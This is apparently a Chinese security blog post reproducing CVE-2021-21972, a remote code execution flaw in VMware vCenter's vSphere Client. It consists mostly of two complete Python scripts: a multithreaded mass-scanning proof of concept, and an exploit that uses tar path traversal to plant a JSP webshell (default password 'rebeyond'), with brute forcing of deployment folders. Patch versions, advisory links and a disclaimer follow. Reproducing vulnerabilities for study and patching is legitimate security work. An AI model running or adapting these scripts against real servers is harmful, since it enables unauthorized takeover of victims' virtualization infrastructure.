vSphere Client(HTML5在vCenter Server 插件中存在一个远程执行代码漏洞。未授权的攻击者可以通过开放443端口的服务器向vCenterServer发送精心构造的请求,从而在服务器上写入webshell,最终造成远程任意代码执行。
环境搭建可参考
https://blog.csdn.net/z136370204/article/details/111719373
1、首先使用POC来测试是否存在该漏洞
#-*- coding:utf-8 -*-
banner = """
@time:2021/02/25 CVE-2021-21972.py
C0de by NebulabdSec - @batsu
"""
print(banner)
import threadpool
import random
import argparse
import http.client
import urllib3
import base64
import requests
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
http.client.HTTPConnection._http_vsn = 10
http.client.HTTPConnection._http_vsn_str = 'HTTP/1.0'
TARGET_URI = "/ui/vropspluginui/rest/services/uploadova"
def get_ua():
first_num = random.randint(55, 62)
third_num = random.randint(0, 3200)
fourth_num = random.randint(0, 140)
os_type = [
'(Windows NT 6.1; WOW64)', '(Windows NT 10.0; WOW64)', '(X11; Linux x86_64)',
'(Macintosh; Intel Mac OS X 10_12_6)'
]
chrome_version = 'Chrome/{}.0.{}.{}'.format(first_num, third_num, fourth_num)
ua = ' '.join(['Mozilla/5.0', random.choice(os_type), 'AppleWebKit/537.36',
'(KHTML, like Gecko)', chrome_version, 'Safari/537.36']
)
return ua
def CVE_2021_21972(url):
# proxies = {"scoks5": "http://127.0.0.1:1081"}
proxies = {
"http": "http://127.0.0.1:8080",
"https": "http://127.0.0.1:8080",
}
headers = {
'User-Agent': get_ua()
}
# data = base64.b64decode(Payload)
# files = {'uploadFile': open('all.tar', 'rb')} #linux
files = {'uploadFile': open('test.tar', 'rb')} #win
targetUrl = url + TARGET_URI
try:
res = requests.post(url=targetUrl,
headers=headers,
files=files,
verify=False,
)
# proxies={'socks5': 'http://127.0.0.1:1081'})
if res.status_code == 200 and "SUCCESS" in res.text:
print("[+] URL:{}--------存在CVE-2021-21972漏洞".format(url))
# print("[+] Command success result: " + res.text + "n")
with open("存在漏洞地址.txt", 'a') as fw:
fw.write(url + 'n')
else:
print("[-] " + url + " 没有发现CVE-2021-21972漏洞.n")
# except Exception as e:
# print(e)
except:
print("[-] " + url + " Request ERROR.n")
def multithreading(filename, pools=5):
works = []
with open(filename, "r") as f:
for i in f:
func_params = [i.rstrip("n")]
# func_params = [i] + [cmd]
works.append((func_params, None))
pool = threadpool.ThreadPool(pools)
reqs = threadpool.makeRequests(CVE_2021_21972, works)
[pool.putRequest(req) for req in reqs]
pool.wait()
def main():
parser = argparse.ArgumentParser()
parser.add_argument("-u",
"--url",
help="Target URL; Example:http://ip:port")
parser.add_argument("-f",
"--file",
help="Url File; Example:url.txt")
# parser.add_argument("-t",
# "--tar",
# help="Create tar File; Example:test.tar")
# parser.add_argument("-c", "--cmd", help="Commands to be executed; ")
args = parser.parse_args()
url = args.url
# cmd = args.cmd
file_path = args.file
# jsp = args.tar
# if jsp != None:
# print(jsp)
# generate_zip(jsp)
if url != None and file_path ==None:
CVE_2021_21972(url)
elif url == None and file_path != None:
multithreading(file_path, 10) # 默认15线程
if __name__ == "__main__":
main()
这个POC也很简单,上传了一个测试文件
里面内容是test,返回success
即证明存在该未授权上传漏洞
2、使用EXP上传shell
'''
Author : Sp4ce
Date : 2021-02-25 00:18:48
LastEditors : Sp4ce
LastEditTime : 2021-03-10 12:59:59
Description : Challenge Everything.
'''
import requests
import os
import argparse
import urllib3
import tarfile
import time
import sys
# remove SSL warning
urllib3.disable_warnings()
# get script work path
WORK_PATH = os.path.split(os.path.realpath(__file__))[0]
# init payload path
WINDOWS_PAYLOAD = WORK_PATH + "/payload/Windows.tar"
LINUX_DEFAULT_PAYLOAD = WORK_PATH + "/payload/Linux.tar"
LINUX_RANDOM_PAYLOAD_SOURCE = WORK_PATH + "/payload/Linux/shell.jsp"
LINUX_RANDOM_PAYLOAD_TARFILE = WORK_PATH + "/payload/Linux_Random.tar"
# init vulnerable url and shell URL
VUL_URI = "/ui/vropspluginui/rest/services/uploadova"
WINDOWS_SHELL_URL = "/statsreport/shell.jsp"
LINUX_SHELL_URL = "/ui/resources/shell.jsp"
# set connect timeout
TIMEOUT = 10
# set headers
headers = {}
headers[
"User-Agent"
] = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182 Safari/537.36"
headers["Cache-Control"] = "no-cache"
headers["Pragma"] = "no-cache"
# get vcenter version,code from @TaroballzChen
SM_TEMPLATE = b"""<env:Envelope xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<env:Body>
<RetrieveServiceContent xmlns="urn:vim25">
<_this type="ServiceInstance">ServiceInstance</_this>
</RetrieveServiceContent>
</env:Body>
</env:Envelope>"""
def getValue(sResponse, sTag="vendor"):
try:
return sResponse.split("<" + sTag + ">")[1].split("</" + sTag + ">")[0]
except:
pass
return ""
def getVersion(sURL):
oResponse = requests.post(sURL + "/sdk", verify=False, timeout=5, data=SM_TEMPLATE)
if oResponse.status_code == 200:
sResult = oResponse.text
if not "VMware" in getValue(sResult, "vendor"):
print("[-] Not a VMware system: " + sURL, "error")
return
else:
sVersion = getValue(sResult, "version") # e.g. 7.0.0
sBuild = getValue(sResult, "build") # e.g. 15934073
sFull = getValue(sResult, "fullName")
print("[+] Identified: " + sFull, "good")
return sVersion, sBuild
print("Not a VMware system: " + sURL, "error")
sys.exit()
# Utils Functions, Code From @horizon3ai
def make_traversal_path(path, level=2):
traversal = ".." + "/"
fullpath = traversal * level + path
return fullpath.replace("\", "/").replace("//", "/")
def archive(file, path):
tarf = tarfile.open(LINUX_RANDOM_PAYLOAD_TARFILE, "w")
fullpath = make_traversal_path(path, level=2)
print("[+] Adding " + file + " as " + fullpath + " to archive")
tarf.add(file, fullpath)
tarf.close()
# Tool Functions
def checkVul(URL):
try:
res = requests.get(
URL + VUL_URI, verify=False, timeout=TIMEOUT, headers=headers
)
print("[*] Check {URL} is vul ...".format(URL=URL))
if res.status_code == 405:
print("[!] {URL} IS vul ...".format(URL=URL))
return True
else:
print("[-] {URL} is NOT vul ...".format(URL=URL))
return False
except:
print("[-] {URL} connect failed ...".format(URL=URL))
return False
def checkShellExist(SHELL_URI):
time.sleep(
5
) # vCenter copy file to web folder need some time, on most test,5s is good
re = requests.get(SHELL_URI, verify=False, timeout=TIMEOUT, headers=headers)
if re.status_code == 200:
return True
else:
return False
def uploadWindowsPayload(URL):
file = {"uploadFile": open(WINDOWS_PAYLOAD, "rb")}
re = requests.post(
URL + VUL_URI, files=file, verify=False, timeout=TIMEOUT, headers=headers
)
if "SUCCESS" in re.text:
if checkShellExist(URL + WINDOWS_SHELL_URL):
print(
"[+] Shell exist URL: {url}, default password:rebeyond".format(
url=URL + WINDOWS_SHELL_URL
)
)
else:
print("[-] All payload has been upload but not success.")
else:
print("[-] All payload has been upload but not success.")
def uploadLinuxShell(URL):
print("[*] Trying linux default payload...")
file = {"uploadFile": open(LINUX_DEFAULT_PAYLOAD, "rb")}
re = requests.post(
URL + VUL_URI, files=file, verify=False, timeout=TIMEOUT, headers=headers
)
if "SUCCESS" in re.text:
print("[+] Shell upload success, now check is shell exist...")
if checkShellExist(URL + LINUX_SHELL_URL):
print(
"[+] Shell exist URL: {URL}, default password:rebeyond".format(
URL=URL + LINUX_SHELL_URL
)
)
else:
print(
"[-] Shell upload success, BUT NOT EXIST, trying Linux Random payload..."
)
uploadLinuxRandomPayload(URL)
else:
print("[-] Shell upload success, BUT NOT EXIST, trying windows payload...")
uploadWindowsPayload(URL)
def uploadLinuxRandomPayload(URL):
for i in range(0, 120):
"""
vCenter will regenerate web folder when vCenter Server restart
Attempts to brute force web folders up to 120 times
"""
archive(
LINUX_RANDOM_PAYLOAD_SOURCE,
"/usr/lib/vmware-vsphere-ui/server/work/deployer/s/global/{REPLACE_RANDOM_ID_HERE}/0/h5ngc.war/resources/shell.jsp".format(
REPLACE_RANDOM_ID_HERE=i
),
)
file = {"uploadFile": open(LINUX_RANDOM_PAYLOAD_TARFILE, "rb")}
re = requests.post(
URL + VUL_URI, files=file, verify=False, timeout=TIMEOUT, headers=headers
)
if "SUCCESS" in re.text and checkShellExist(URL + LINUX_SHELL_URL):
print(
"[+] Shell exist URL: {url}, default password:rebeyond".format(
url=URL + LINUX_SHELL_URL
)
)
print(
"[+] Found Server Path exists!!!! Try times {REPLACE_RANDOM_ID_HERE}".format(
REPLACE_RANDOM_ID_HERE=i
)
)
exit()
def banner():
print(
"""
_______ ________ ___ ___ ___ __ ___ __ ___ ______ ___
/ ____\ \ / / ____| |__ \ / _ \__ \/_ | |__ \/_ |/ _ \____ |__ \
| | \ \ / /| |__ ______ ) | | | | ) || |______ ) || | (_) | / / ) |
| | \ \/ / | __|______/ /| | | |/ / | |______/ / | |\__, | / / / /
| |____ \ / | |____ / /_| |_| / /_ | | / /_ | | / / / / / /_
\_____| \/ |______| |____|\___/____||_| |____||_| /_/ /_/ |____|
Test On vCenter 6.5 Linux/Windows
VMware-VCSA-all-6.7.0-8217866
VMware-VIM-all-6.7.0-8217866
VMware-VCSA-all-6.5.0-16613358
By: Sp4ce
Github:https://github.com/NS-Sp4ce
"""
)
if __name__ == "__main__":
banner()
parser = argparse.ArgumentParser()
parser.add_argument(
"-url",
"--targeturl",
type=str,
help="Target URL. e.g: -url 192.168.2.1、-url https://192.168.2.1",
)
args = parser.parse_args()
url = args.targeturl
if "https://" not in url:
url = "https://" + url
if checkVul(url):
sVersion, sBuild = getVersion(url)
if (
int(sVersion.split(".")[0]) == 6
and int(sVersion.split(".")[1]) == 7
and int(sBuild) >= 13010631
) or (
(int(sVersion.split(".")[0]) == 7 and int(sVersion.split(".")[1]) == 0)
):
print(
"[-] vCenter 6.7U2+ running website in memory,so this exp can't work for 6.7 u2+."
)
sys.exit()
else:
uploadLinuxShell(url)
elif checkVul(url):
sVersion, sBuild = getVersion(url)
if (
int(sVersion.split(".")[0]) == 6
and int(sVersion.split(".")[1]) == 7
and int(sBuild) >= 13010631
) or (
(int(sVersion.split(".")[0]) == 7 and int(sVersion.split(".")[1]) == 0)
):
print(
"[-] vCenter 6.7U2+ running website in memory,so this exp can't work for 6.7 u2+."
)
sys.exit()
else:
uploadLinuxShell(url)
else:
parser.print_help()
vCenter Server7.0版本升级到7.0.U1c
vCenter Server6.7版本升级到6.7.U3l
vCenter Server6.5版本升级到6.5 U3n
参考链接:
https://www.vmware.com/security/advisories/VMSA-2021-0002.html
https://github.com/QmF0c3UK/CVE-2021-21972-vCenter-6.5-7.0-RCE-POC/blob/main/CVE-2021-21972.py(POC)
https://github.com/NS-Sp4ce/CVE-2021-21972/blob/main/CVE-2021-21972.py(EXP)
本文始发于微信公众号(Timeline Sec):CVE-2021-21972:vSphere Client RCE复现
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论